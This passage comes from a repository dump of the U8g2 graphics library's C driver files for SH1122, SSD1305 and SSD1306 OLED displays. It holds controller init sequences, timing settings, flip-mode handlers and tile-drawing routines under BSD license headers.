} } return u8x8_sh1122_to32_dest_buf; } */ static uint8_t u8x8_write_byte_to_16gr_device(u8x8_t *u8x8, uint8_t b) { static uint8_t buf[4]; static uint8_t map[4] = { 0, 0x00f, 0x0f0, 0x0ff }; buf [3] = map[b & 3]; b>>=2; buf [2] = map[b & 3]; b>>=2; buf [1] = map[b & 3]; b>>=2; buf [0] = map[b & 3]; return u8x8_cad_SendData(u8x8, 4, buf); } uint8_t u8x8_d_sh1122_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x; uint8_t y, c, i; uint8_t *ptr; switch(msg) { /* U8X8_MSG_DISPLAY_SETUP_MEMORY is handled by the calling function */ /* case U8X8_MSG_DISPLAY_SETUP_MEMORY: break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sh1122_256x64_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_sh1122_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_sh1122_powersave1_seq); break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* sh1122 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 2; // 4 Mar 2022: probably this needs to be 4, but this device is call with x=0 only x += u8x8->x_offset; y = (((u8x8_tile_t *)arg_ptr)->y_pos); y *= 8; c = ((u8x8_tile_t *)arg_ptr)->cnt; /* number of tiles */ ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* data ptr to the tiles */ for( i = 0; i < 8; i++ ) { u8x8_cad_SendCmd(u8x8, 0x0b0 ); /* set row address */ u8x8_cad_SendArg(u8x8, y); u8x8_cad_SendCmd(u8x8, x & 15 ); /* lower 4 bit*/ u8x8_cad_SendCmd(u8x8, 0x010 | (x >> 4) ); /* higher 3 bit */ c = ((u8x8_tile_t *)arg_ptr)->cnt; /* number of tiles */ while ( c > 0 ) { u8x8_write_byte_to_16gr_device(u8x8, *ptr); c--; ptr++; } y++; } u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /*=========================================================*/ static const uint8_t u8x8_d_sh1122_256x64_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* remap */ U8X8_C(0x0c8), /* remap */ U8X8_C(0x060), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_sh1122_256x64_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* remap */ U8X8_C(0x0c0), /* remap */ U8X8_C(0x040), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_sh1122_256x64_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 10, /* sh1122: 10 us */ /* post_reset_wait_ms = */ 20, /* */ /* sda_setup_time_ns = */ 125, /* sh1122: cycle time is 250ns, so use 250/2 */ /* sck_pulse_width_ns = */ 125, /* sh1122: cycle time is 250ns, so use 250/2 */ /* sck_clock_hz = */ 40000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 10, /* write_pulse_width_ns = */ 150, /* sh1122: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 32, /* 256 pixel, so we require 32 bytes for this */ /* tile_height = */ 8, /* default_x_offset = */ 0, /* this is the byte offset (there are two pixel per byte with 4 bit per pixel) */ /* flipmode_x_offset = */ 0, /* pixel_width = */ 256, /* pixel_height = */ 64 }; static const uint8_t u8x8_d_sh1122_256x64_init_seq[] = { U8X8_DLY(1), U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(1), U8X8_C(0xae), /* display off */ U8X8_C(0x40), /* display start line */ U8X8_C(0x0a0), /* remap */ U8X8_C(0x0c0), /* remap */ U8X8_CA(0x81, 0x80), /* set display contrast */ U8X8_CA(0xa8, 0x3f), /* multiplex ratio 1/64 Duty (0x0F~0x3F) */ U8X8_CA(0xad, 0x81), /* use buildin DC-DC with 0.6 * 500 kHz */ U8X8_CA(0xd5, 0x50), /* set display clock divide ratio (lower 4 bit)/oscillator frequency (upper 4 bit) */ U8X8_CA(0xd3, 0x00), /* display offset, shift mapping ram counter */ U8X8_CA(0xd9, 0x22), /* pre charge (lower 4 bit) and discharge(higher 4 bit) period */ U8X8_CA(0xdb, 0x35), /* VCOM deselect level */ U8X8_CA(0xdc, 0x35), /* Pre Charge output voltage */ U8X8_C(0x030), /* discharge level */ U8X8_DLY(1), /* delay */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_sh1122_256x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1122_256x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sh1122_256x64_init_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_sh1122_256x64_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_sh1122_256x64_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return u8x8_d_sh1122_common(u8x8, msg, arg_int, arg_ptr); } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ssd1305.c ================================================ /* u8x8_d_ssd1305.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2017, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const uint8_t u8x8_d_ssd1305_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1305_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1305_128x32_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0d3, 32), /* display offset to 32 */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1305_128x32_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0d3, 0), /* display offset to */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_ssd1305_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x040 ); /* set line offset to 0 */ u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendArg(u8x8, 0x000 | ((x&15))); u8x8_cad_SendArg(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos) ); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c*8, ptr); /* note: SendData can not handle more than 255 bytes */ /* do { u8x8_cad_SendData(u8x8, 8, ptr); ptr += 8; c--; } while( c > 0 ); */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_powersave1_seq); break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1305 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif default: return 0; } return 1; } /* timing from SSD1306 */ static const u8x8_display_info_t u8x8_ssd1305_128x32_noname_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 16, /* tile_height = */ 4, /* default_x_offset = */ 2, /* flipmode_x_offset = */ 2, /* pixel_width = */ 128, /* pixel_height = */ 32 }; static const uint8_t u8x8_d_ssd1305_128x32_noname_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0d5, 0x080), /* clock divide ratio (0x00=1) and oscillator frequency (0x8) */ U8X8_CA(0x0a8, 0x03f), /* multiplex ratio */ U8X8_CA(0x0d3, 32), /* display offset to 32 */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_CA(0x020, 0x000), /* horizontal addressing mode */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ // Flipmode // U8X8_C(0x0a0), /* segment remap a0/a1*/ // U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0da, 0x012), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */ U8X8_CA(0x081, 0x0cf), /* [2] set contrast control */ U8X8_CA(0x0d9, 0x0f1), /* [2] pre-charge period 0x022/f1*/ U8X8_CA(0x0db, 0x040), /* vcomh deselect level */ // if vcomh is 0, then this will give the biggest range for contrast control issue #98 // restored the old values for the noname constructor, because vcomh=0 will not work for all OLEDs, #116 U8X8_C(0x02e), /* Deactivate scroll */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ssd1305_128x32_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_ssd1305_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_noname_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1305_128x32_noname_display_info); break; default: return 0; } return 1; } /*================================================*/ /* issue 2002: Waveshare */ #ifdef SAME_AS_ADAFRUIT /* timing from SSD1306 */ static const u8x8_display_info_t u8x8_ssd1305_128x32_waveshare_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 16, /* tile_height = */ 4, /* default_x_offset = */ 4, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 32 }; uint8_t u8x8_d_ssd1305_128x32_waveshare(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_ssd1305_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_noname_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1305_128x32_waveshare_display_info); break; default: return 0; } return 1; } #endif /*================================================*/ /* adafruit 128x32 SSD1305 OLED, https://www.adafruit.com/product/2675 */ /* issue 724 */ /* timing from SSD1306 */ static const u8x8_display_info_t u8x8_ssd1305_128x32_adafruit_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 16, /* tile_height = */ 4, /* default_x_offset = */ 4, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 32 }; uint8_t u8x8_d_ssd1305_128x32_adafruit(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_ssd1305_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_noname_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1305_128x32_adafruit_display_info); break; default: return 0; } return 1; } /*================================================*/ /* adafruit SSD1305 OLED */ /* timing from SSD1306 */ static const u8x8_display_info_t u8x8_ssd1305_128x64_adafruit_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 16, /* tile_height = */ 8, /* default_x_offset = */ 2, /* flipmode_x_offset = */ 2, /* pixel_width = */ 128, /* pixel_height = */ 64 }; static const uint8_t u8x8_d_ssd1305_128x64_adafruit_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0d5, 0x0f0), /* clock divide ratio (0x00=1) and oscillator frequency */ U8X8_CA(0x0a8, 0x03f), /* multiplex ratio */ U8X8_CA(0x0d3, 0x040), /* display offset to 32 */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_CA(0x020, 0x000), /* horizontal addressing mode */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ // Flipmode // U8X8_C(0x0a0), /* segment remap a0/a1*/ // U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0da, 0x012), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */ U8X8_CA(0x081, 0x032), /* [2] set contrast control */ U8X8_CA(0x082, 0x080), /* set area brightness (reset=0x080) */ U8X8_CA(0x0d9, 0x0f1), /* [2] pre-charge period 0x022/f1*/ U8X8_CA(0x0db, 0x040), /* vcomh deselect level */ // if vcomh is 0, then this will give the biggest range for contrast control issue #98 // restored the old values for the noname constructor, because vcomh=0 will not work for all OLEDs, #116 U8X8_C(0x02e), /* Deactivate scroll */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ssd1305_128x64_adafruit(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_ssd1305_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x64_adafruit_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1305_128x64_adafruit_display_info); break; default: return 0; } return 1; } /*================================================*/ /* Raystar RET012864 OLED, issue https://github.com/olikraus/u8g2/issues/1111 */ static const u8x8_display_info_t u8x8_ssd1305_128x64_raystar_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 16, /* tile_height = */ 8, /* default_x_offset = */ 4, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 64 }; uint8_t u8x8_d_ssd1305_128x64_raystar(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_ssd1305_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x64_adafruit_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1305_128x64_raystar_display_info); break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ssd1306_128x32.c ================================================ /* u8x8_d_ssd1306_128x32.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" /* UG-2832HSWEG02 Datasheet, Section 4.4 */ static const uint8_t u8x8_d_ssd1306_128x32_univision_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0d5, 0x080), /* clock divide ratio (0x00=1) and oscillator frequency (0x8) */ U8X8_CA(0x0a8, 0x01f), /* multiplex ratio */ U8X8_CA(0x0d3, 0x000), /* display offset */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_CA(0x08d, 0x014), /* [2] charge pump setting (p62): 0x014 enable, 0x010 disable */ U8X8_CA(0x020, 0x000), /* horizontal addressing mode */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ // Flipmode // U8X8_C(0x0a0), /* segment remap a0/a1*/ // U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0da, 0x002), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */ U8X8_CA(0x081, 0x08f), /* [2] set contrast control */ U8X8_CA(0x0d9, 0x0f1), /* [2] pre-charge period 0x022/f1*/ U8X8_CA(0x0db, 0x040), /* vcomh deselect level */ U8X8_C(0x02e), /* Deactivate scroll */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_128x32_univision_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_128x32_univision_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_128x32_univision_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_128x32_univision_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_ssd1306_128x32_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_128x32_univision_display_info); break; */ case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x32_univision_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x32_univision_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x32_univision_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { 